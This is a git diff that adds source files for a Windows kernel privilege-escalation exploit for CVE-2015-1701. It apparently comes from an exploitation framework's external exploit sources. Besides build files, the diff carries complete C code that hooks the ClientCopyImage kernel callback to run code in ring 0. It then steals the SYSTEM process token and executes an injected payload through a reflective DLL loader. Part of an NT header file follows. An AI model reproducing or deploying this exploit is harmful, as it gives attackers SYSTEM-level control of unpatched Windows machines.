zTFVeNcu=0|>XM09@9y@A(?3?f3 z)%-0_-KIy5Y%5weq5Y53-SfXaaPP=zw>O;m?sC_6KTW^%j`^drQd%}SuV^}8yL;jf zwrZcf<~ZCqEBdmhg74h(c$8z;3h(#}p8laf?agb_&9{v>IPy)?2b0#^WPkkL=UZmJ z@z~vuKl&Tf+oiw0=!vNhXW#ft{J7DRjwD+xQwpBkw`lZtZZvFc`O}WNzXx}HWB8RCnq%W3O6@ z;$P3dCkN=44`V;ka)sq8%Qy=cQd_btxt1F&GcC7T=36Q(w_BE3?zS{p?zcQ+dEWA_ z<(Or7>J_QYseej+H}zy{q;-(>QtMULWUIrPY0a}vv)*BS*4kn{X#KPGv~_UWh_oxy z#-v@7=1j{&$iU zb)Rylcx8c0Ul}m+F_F6Mw8KP%rjOSw-^Vc#HFO9t12P0m7R znez_klg>lVpz{-_!8O=5+;ydEj4RER>6+-8;hO6zan-u+b~UiRd=HrGzqVb_PQ zzq$VIigd@gL6u=UM8x%X6=1mFEG^k30{19`pRt^J~vmPmAY8&&!@yJRP1t zdH&+*@_ghu<>50j)bnnN)nJS@US#~5@p9uRq;9%`8;gf zY&&A>5)QS`vzOVc?6=#$V}HorZ2ygYyM4d?%JgaJmFa(WoN!#@%yQn~yve!J8S6@Q zO>xb1&2ueveb4oz>uE}0kE_EqkQ^^{KjePOo$2wz!|w_IWGk-91Mh16K<#n#KL0qYv;53P?`e{Ox%df585^%Lvpw6ST%wDh!$ zw0UWjX}71G+!?(i!8t)_IHbCD&1x=8kjU<6h-n z=iU#;n5ns5xZy$16Q18v@_+PvDCy7V{F!8d@nYj>N_mp;X5(VxD&s@O&Bh(ZL&k-c z{gx@IZtDT-g=ya*hNEl~ZI9Y!rx&L$Ous+2ViO1TB@ zD@u8ZR;D}UWXkCjJ}Y1vZJJ_QZfZ2GGOaPKr6kvzHkdY=J}@0O^_WhZH1p$@XDtt; zZl$!|O|@B9SwFIVX7!WKb!pG0y_xoQ+92C7+hw+^DT%qZ8d{2{Y|q$!N15!gwcB2^ z{mJ&O?U?No+o!fj`(XP}`#0?0w2!l!>`wax`wV-DeTn@pc=d<&hwc9cufCrCUi#ps_Jm)ZS<`?1TkFt8%_^B}}<;IkGDIU{xrrD<3OlGswoI`)&O1(FA4e1$bon$>_eTY;T zZ1J`-D+>Kzhr;cet-JT^jODbj&#ath2uw#7Du}CcIR^E24}Z3 z!gY!3GFOsoudB*^i)S7!$s*5f)S7S8maOzNdG7bD^{n$enaEN)Qp z_|xRb*c5xpyQV1f2zrjOW~13+wwVjf_nIFwZ!&K-Z!vE*Z{q`@JI!t8p_W9;2ul(z z(S4Q&Et~0ew^>>&JL!4jQZrL?Qgc)DQ>UfQO1&j@Zfa5Llc`(C(`~6O+!^&3`@K%D z>sHrd*Zrn;J}O;nS8Z~Uv)t)( zE_1GMu5zw*u6J&9ZgOsMZgcK*?xim}>^$N;<~;5^O^+1oN^p&EjdG21SzJz6wky{) z&2@{bi2CJoEpx4Kt#Yk(t#@s7ZE|hV`=`CGL-bKcT*q9;U8h|JcdR?XJ;FW8J zd#GIZH2S9^ce&f=Uglmwo3hru-o4Si$-TwB&Ak)JK>DR4?ql>yr`-lmtS7-U0y%h` z$Kr8%vOT$;X`Wj=MS5?v%(DV+UQ7GC5zg7-+2+~l+3PvvIqW&&Ip#U;IqlIpIWx>4 zPx_z);|O}7aYl>LY0Ng}8mG}36dB8D3zivI&`zy2t~YKpZbItVX54AqON(`wzUUaO z!)c=-B{n4?WkkxTlyNDR6lY2{B{7YXC`u_$@ue(FSwUa5Hf251$)=PoDce$ZrtD2Q zlyW%bNXoI45UuJm`e~a!u1rx0s4d%39i#jr0#&OxsL5 zO?yp;Oo!eLYnEtBJe-;p(}mrKwe^wW;-~jkFf) zQa2!JZid5KQrlA7Q#(>SQ-i79sXeKDc*YuUO|&Li$5@S4n>E9lW6ihDvd*=ZTC1$J z)_Q9rz1uqL25Yl*vvn&HX`8j(+F|Xq2Cd!J9;=oXofePGm4tL^OtaDB<)r1O%}Se_ zR+?6oR-0Cz)|j@2wsu2WbK2&#t!XXDtnFzXX`N}owC=Q?G|d)G>y>CrvW>ABZ8jvf z99upT>|9%^t;$wwtG6}U*4Wk|$2KD+Y_+x6+Gv+MY@PI&-L@W^W{NddKG$A~98qhpw>R3?*w@)NAWdwxZ>3div$xwj?499f-3rkAEyrPrp{r#GgrNne*P0+W-v-a#F#r4|KUW02}{kTrZr zaqHb%-5u^8ccRDUnMMCwOS`!R`K!azBkdQ$hs;45j7i1}<6L9Caf7kN*s1qyvMMNj zU@g2_54SeLuWR7gb@1#4xV9O--3;e$g?C%v-ZuER9S-h*hdbfoAbi{nC-;PU!)W+9 z9*$0gr<1uKC~I0-wfAph3{M7{5E*M9q#Xd z{|#{cC^$YFPOpN~YvJ{sX=BpIk&71c(Me8blb5-AZU*UXjyrp3w=|c*6;0a}PwSOL Y>otb<%Sa1m)7!8d`b5dE|L;Bj54Xs1v;Y7A literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-1701/.gitignore b/external/source/exploits/cve-2015-1701/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2015-1701/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701.sln b/external/source/exploits/cve-2015-1701/cve-2015-1701.sln new file mode 100755 index 0000000000..cb44c647d2 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{68E70ED4-1C36-46C1-8B45-E7CB546B62CA}") = "cve-2015-1701", "cve-2015-1701\cve-2015-1701.vcxproj", "{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.ActiveCfg = Debug|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.Build.0 = Debug|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.ActiveCfg = Debug|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.Build.0 = Debug|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.ActiveCfg = Release|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.Build.0 = Release|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.ActiveCfg = Release|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c new file mode 100755 index 0000000000..637ddf7cd2 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -0,0 +1,524 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2015 +* +* TITLE: MAIN.C +* +* VERSION: 1.00 +* +* DATE: 10 May 2015 +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +//Disable nonmeaningful warnings. +#pragma warning(disable: 4005) // macro redefinition +#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s +#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#define _CRT_SECURE_NO_WARNINGS +#define OEMRESOURCE + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include +#include "cve-2015-1701.h" + +#define TYPE_WINDOW 1 +#define HMUNIQSHIFT 16 + +typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p); +typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process); + +typedef PVOID PHEAD; + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, *PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, *PSHAREDINFO; + +static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow"); + +pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL; +pUser32_ClientCopyImage g_originalCCI = NULL; +PVOID g_ppCCI = NULL, g_w32theadinfo = NULL; +int g_shellCalled = 0; +DWORD g_OurPID; +DWORD g_EPROCESS_TokenOffset = 0; + +typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation ); + +NTSTATUS NTAPI RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation + ) +{ + static PRtlGetVersion proxy = NULL; + + if (proxy == NULL) + { + proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion"); + } + + return proxy(lpVersionInformation); +} + +typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ) +{ + static PNtQuerySystemInformation proxy = NULL; + + if (proxy == NULL) + { + proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); + } + + return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); +} + +typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ) +{ + static PNtQueryInformationProcess proxy = NULL; + + if (proxy == NULL) + { + proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + } + + return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); +} + +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +/* +* supGetSystemInfo +* +* Purpose: +* +* Returns buffer with system information by given InfoClass. +* +* Returned buffer must be freed with HeapFree after usage. +* Function will return error after 100 attempts. +* +*/ +PVOID supGetSystemInfo( + _In_ SYSTEM_INFORMATION_CLASS InfoClass + ) +{ + INT c = 0; + PVOID Buffer = NULL; + ULONG Size = 0x1000; + NTSTATUS status; + ULONG memIO; + + do { + Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size); + if (Buffer != NULL) { + status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO); + } + else { + return NULL; + } + if (status == STATUS_INFO_LENGTH_MISMATCH) { + HeapFree(GetProcessHeap(), 0, Buffer); + Size *= 2; + } + c++; + if (c > 100) { + status = STATUS_SECRET_TOO_LONG; + break; + } + } while (status == STATUS_INFO_LENGTH_MISMATCH); + + if (NT_SUCCESS(status)) { + return Buffer; + } + + if (Buffer) { + HeapFree(GetProcessHeap(), 0, Buffer); + } + return NULL; +} + +/* +* supIsProcess32bit +* +* Purpose: +* +* Return TRUE if given process is under WOW64, FALSE otherwise. +* +*/ +BOOLEAN supIsProcess32bit( + _In_ HANDLE hProcess + ) +{ + NTSTATUS status; + PROCESS_EXTENDED_BASIC_INFORMATION pebi; + + if (hProcess == NULL) { + return FALSE; + } + + //query if this is wow64 process + RtlSecureZeroMemory(&pebi, sizeof(pebi)); + pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION); + status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL); + if (NT_SUCCESS(status)) { + return (pebi.IsWow64Process == 1); + } + return FALSE; +} + +/* +* GetPsLookupProcessByProcessId +* +* Purpose: +* +* Return address of PsLookupProcessByProcessId routine to be used next by shellcode. +* +*/ +ULONG_PTR GetPsLookupProcessByProcessId( + VOID + ) +{ + BOOL cond = FALSE; + ULONG rl = 0; + PVOID MappedKernel = NULL; + ULONG_PTR KernelBase = 0L, FuncAddress = 0L; + PRTL_PROCESS_MODULES miSpace = NULL; + CHAR KernelFullPathName[MAX_PATH * 2]; + + + do { + + miSpace = supGetSystemInfo(SystemModuleInformation); + if (miSpace == NULL) { + break; + } + + if (miSpace->NumberOfModules == 0) { + break; + } + + rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH); + if (rl == 0) { + break; + } + + KernelFullPathName[rl] = (CHAR)'\\'; + strcpy(&KernelFullPathName[rl + 1], + (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]); + KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; + HeapFree(GetProcessHeap(), 0, miSpace); + miSpace = NULL; + + MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (MappedKernel == NULL) { + break; + } + + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId"); + FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel; + + } while (cond); + + if (MappedKernel != NULL) { + FreeLibrary(MappedKernel); + } + if (miSpace != NULL) { + HeapFree(GetProcessHeap(), 0, miSpace); + } + + return FuncAddress; +} + +/* +* GetFirstThreadHWND +* +* Purpose: +* +* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList. +* +*/ +HWND GetFirstThreadHWND( + VOID + ) +{ + PSHAREDINFO pse; + HMODULE huser32; + PHANDLEENTRY List; + ULONG_PTR c, k; + + huser32 = GetModuleHandle(TEXT("user32.dll")); + if (huser32 == NULL) + return 0; + + pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo"); + if (pse == NULL) + return 0; + + List = pse->aheList; + k = pse->psi->cHandleEntries; + + if (pse->HeEntrySize != sizeof(HANDLEENTRY)) + return 0; + + // + // Locate, convert and return hwnd for current thread. + // + for (c = 0; c < k; c++) + if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) { + return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT)); + } + + return 0; +} + +/* +* StealProcessToken +* +* Purpose: +* +* Copy system token to current process object. +* +*/ +NTSTATUS NTAPI StealProcessToken( + VOID + ) +{ + NTSTATUS Status; + PVOID CurrentProcess = NULL; + PVOID SystemProcess = NULL; + + Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess); + if (NT_SUCCESS(Status)) { + Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess); + if (NT_SUCCESS(Status)) { + if (g_EPROCESS_TokenOffset) { + *(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset); + } + } + } + return Status; +} + + +/* +* MainWindowProc +* +* Purpose: +* +* To be called in ring0. +* +*/ +LRESULT CALLBACK MainWindowProc( + _In_ HWND hwnd, + _In_ UINT uMsg, + _In_ WPARAM wParam, + _In_ LPARAM lParam + ) +{ + UNREFERENCED_PARAMETER(hwnd); + UNREFERENCED_PARAMETER(uMsg); + UNREFERENCED_PARAMETER(wParam); + UNREFERENCED_PARAMETER(lParam); + + if (g_shellCalled == 0) { + StealProcessToken(); + g_shellCalled = 1; + } + + return 0; +} + +/* +* hookCCI +* +* Purpose: +* +* _ClientCopyImage hook handler. +* +*/ +NTSTATUS NTAPI hookCCI( + PVOID p + ) +{ + InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback + + SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc); + + return g_originalCCI(p); +} + +void win32k_client_copy_image(LPVOID lpPayload) +{ + + PTEB teb = NtCurrentTeb(); + PPEB peb = teb->ProcessEnvironmentBlock; + WNDCLASSEX wincls; + HINSTANCE hinst = GetModuleHandle(NULL); + BOOL rv = TRUE; + MSG msg1; + ATOM class_atom; + HWND MainWindow; + DWORD prot; + OSVERSIONINFOW osver; + + RtlSecureZeroMemory(&osver, sizeof(osver)); + osver.dwOSVersionInfoSize = sizeof(osver); + RtlGetVersion(&osver); + + if (osver.dwBuildNumber > 7601) { + ExitProcess((UINT)-1); + return; + } + + if (supIsProcess32bit(GetCurrentProcess())) { + ExitProcess((UINT)-2); + return; + } + + g_OurPID = GetCurrentProcessId(); + g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId(); + +#ifdef _WIN64 + g_EPROCESS_TokenOffset = 0x208; +#else + g_EPROCESS_TokenOffset = 0xF8; +#endif + + + if (g_PsLookupProcessByProcessIdPtr == NULL) { + ExitProcess((UINT)-3); + return; + } + + RtlSecureZeroMemory(&wincls, sizeof(wincls)); + wincls.cbSize = sizeof(WNDCLASSEX); + wincls.lpfnWndProc = &MainWindowProc; + wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wincls.lpszClassName = MAINWINDOWCLASSNAME; + + class_atom = RegisterClassEx(&wincls); + while (class_atom) { + g_w32theadinfo = teb->Win32ThreadInfo; + + g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; // <--- User32_ClientCopyImage INDEX + + if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) { + break; + } + g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI); + + MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom), + NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); + + if (g_shellCalled == 1) + { + execute_payload(lpPayload); + } + else { + OutputDebugString(TEXT(" Failed \r\n")); + } + + if (!MainWindow) { + break; + } + + do { + rv = GetMessage(&msg1, NULL, 0, 0); + + if (rv == -1) + break; + + TranslateMessage(&msg1); + DispatchMessage(&msg1); + } while (rv != 0); + + break; + } + + if (class_atom) + UnregisterClass(MAKEINTATOM(class_atom), hinst); + + ExitProcess(0); +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + win32k_client_copy_image(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h new file mode 100755 index 0000000000..7111a6ba52 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.h @@ -0,0 +1,3887 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015, translated from Microsoft sources/debugger +* +* TITLE: NTOS.H +* +* VERSION: 1.17 +* +* DATE: 24 Apr 2015 +* +* Common header file for the ntos API functions and definitions. +* +* ONLY program required types and definitions listed. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ + +//#pragma comment(lib, "ntdll.lib") + +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#define IN_REGION(x, Base, Size) (((ULONG_PTR)x >= (ULONG_PTR)Base) && ((ULONG_PTR)x <= (ULONG_PTR)Base + (ULONG_PTR)Size)) + +#define ALIGN_DOWN(count,size) \ + ((ULONG_PTR)(count) & ~((ULONG_PTR)(size) - 1)) + +#define ALIGN_UP(count,size) \ + (ALIGN_DOWN( (ULONG_PTR)(count)+(ULONG_PTR)(size)-1, (ULONG_PTR)(size) )) + +//Access Rights + +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define MUTANT_QUERY_STATE 0x0001 +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) + +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define THREAD_ALERT (0x0004) + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// + +#define MAXUSHORT 0xffff +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) + +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char *PCSZ; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +/* +** Semaphore START +*/ + +#ifndef _SEMAPHORE_INFORMATION_CLASS +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} 